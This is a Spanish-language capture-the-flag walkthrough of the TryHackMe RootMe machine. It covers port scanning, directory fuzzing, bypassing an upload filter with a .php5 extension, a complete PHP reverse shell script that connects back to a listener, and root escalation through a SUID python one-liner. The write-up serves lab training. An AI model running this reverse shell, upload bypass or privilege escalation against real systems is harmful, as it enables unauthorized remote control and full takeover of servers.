Luego de conectarse a la máquina y ver que efectivamente tenemos conexión con aquello, hacemos un escaneo con Nmap nmap -Pn -n --open --top-ports 10000 -T5 -sVC [IP obejetivo].

Image Nmap

Image página

Con esta información respondemos las preguntas de la Task 2, que sería: 2 puertos abiertos, versión de Apache 2.4.29 y SSH corriendo en el puerto 22. En la última respuesta que se ve en la imagen solo hay que hacer click en completado, ya que nos dice que hagamos un escaneo de directorios con gobuster, pero en mi caso lo hice con Ffuf.

Image task2

Para la última pregunta debemos hacer fuzzing, ya que nos pregunta sobre cuál es el directorio visible, para lo cual use Ffuf ffuf -u [IP objetivo] -w [Ruta_diccionario], el cual nos da los siguientes directorios.

Image Fuzz

Los directorios importantes son /uploads, que lo usaremos más adelante, y /panel, siendo este último el que nos interesa ahora para realizar la task 3 y también la última respuesta de la task 2.

Image panel




Observamos que la task 3 nos dice que debemos subir un archivo para obtener una reverse shell, para lo cual usaremos una Shell reversa php.

Crearemos un archivo.

nano reverse.php5

Usamos la extensión .php5, ya que si lo subimos con .php nos dirá que no aceptan ese tipo de archivos y por ende haremos bypass colocando un 5 al final de la extensión. Luego pondremos el siguiente código dentro de nuestro archivo recién creado.

PD: Recuerden que host es el de la VPN, o sea, colocamos la IP de tun0.

set_time_limit(0);
ignore_user_abort(true);

$host = "127.0.0.1"; // Cambia por la IP del servidor listener
$port = 4444; // Cambia por el puerto del servidor listener
$shell = "/bin/bash"; // Usa bash para mejor interactividad

// Intenta conectar al listener
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if (!$socket) {
    die("$errstr ($errno)\n");
}

// Configura descriptores para un entorno interactivo
$descriptorspec = array(
    0 => array("pipe", "r"), // stdin
    1 => array("pipe", "w"), // stdout
    2 => array("pipe", "w")  // stderr
);

// Inicia el proceso con bash en modo interactivo
$process = proc_open("$shell -i", $descriptorspec, $pipes);
if (!is_resource($process)) {
    die("No se pudo iniciar el proceso\n");
}

// Configura los pipes como no bloqueantes
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($socket, 0);

while (true) {
    // Lee desde el socket (comandos del atacante)
    if ($input = fread($socket, 512)) {
        fwrite($pipes[0], $input);
        fflush($pipes[0]);
    }

    // Lee la salida del proceso (stdout)
    while ($output = fgets($pipes[1])) {
        fwrite($socket, $output);
        fflush($socket);
    }

    // Lee los errores del proceso (stderr)
    while ($error = fgets($pipes[2])) {
        fwrite($socket, $error);
        fflush($socket);
    }

    // Verifica si el proceso o el socket están cerrados
    if (feof($socket) || !is_resource($process)) {
        break;
    }

    // Evita consumo excesivo de CPU
    usleep(10000);
}

// Limpieza
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
fclose($socket);
proc_close($process);
?>

Una vez creado, nos vamos al panel a subir el archivo.

Image archivo

Nos ponemos a escuchar en el puerto que hemos configurado anteriormente en el código php.

Image escucha

Y ahora es cuando nos sirve el segundo directorio que he mencionado anteriormente /uploads, aquí está el archivo el cual subimos.

Image subidas

Debemos darle click para que empiece a funcionar nuestra Shell reversa. Hacemos un id para comprobar.

Image id

Posteriormente, hacemos un find / -name user.txt para buscar el archivo que nos solicitaron en la pregunta, encontramos su ubicación y lo abrimos con un cat, así dándonos la flag.

Image primera bandera




En la task 4 nos dice que debemos escalar privilegios, en la primera pregunta, nos da una pista de un comando que usaremos para ver los permisos SUID del usuario root find / -user root -perm /4000.

Image SUID

Al usarlo, nos revela la lista de archivos del que es propietario el usuario root, teniendo el bit SUID activado -perm /4000, este nos permite ejecutar un archivo con los permisos del propietario, o sea, cualquier usuario que lo ejecute lo hará con privilegios de root. En este caso /usr/bin/python aparece en la lista, siendo este el intérprete de Python, básicamente podemos correr código con privilegios de root.

Image python

Buscamos en GTFOBins bajo el filtro de SUID.

Image SUID

Nos desplazamos hacia abajo hasta encontrar "python" y seleccionamos "SUID".

Image suid py

Y usaremos el comando que nos da para elevar privilegios python -c 'import os; os.execl("/bin/sh", "sh", "-p")'.

Image description

Lo introducimos y con un whoami confirmamos que somos root.

Image whoami root

Finalmente, utilizamos find / -name root.txt para encontrar la ruta del archivo para, posteriormente, abrirlo con un cat y obtener la última flag.

Image Final

Y así resolvemos la máquina RootMe de TryhackMe.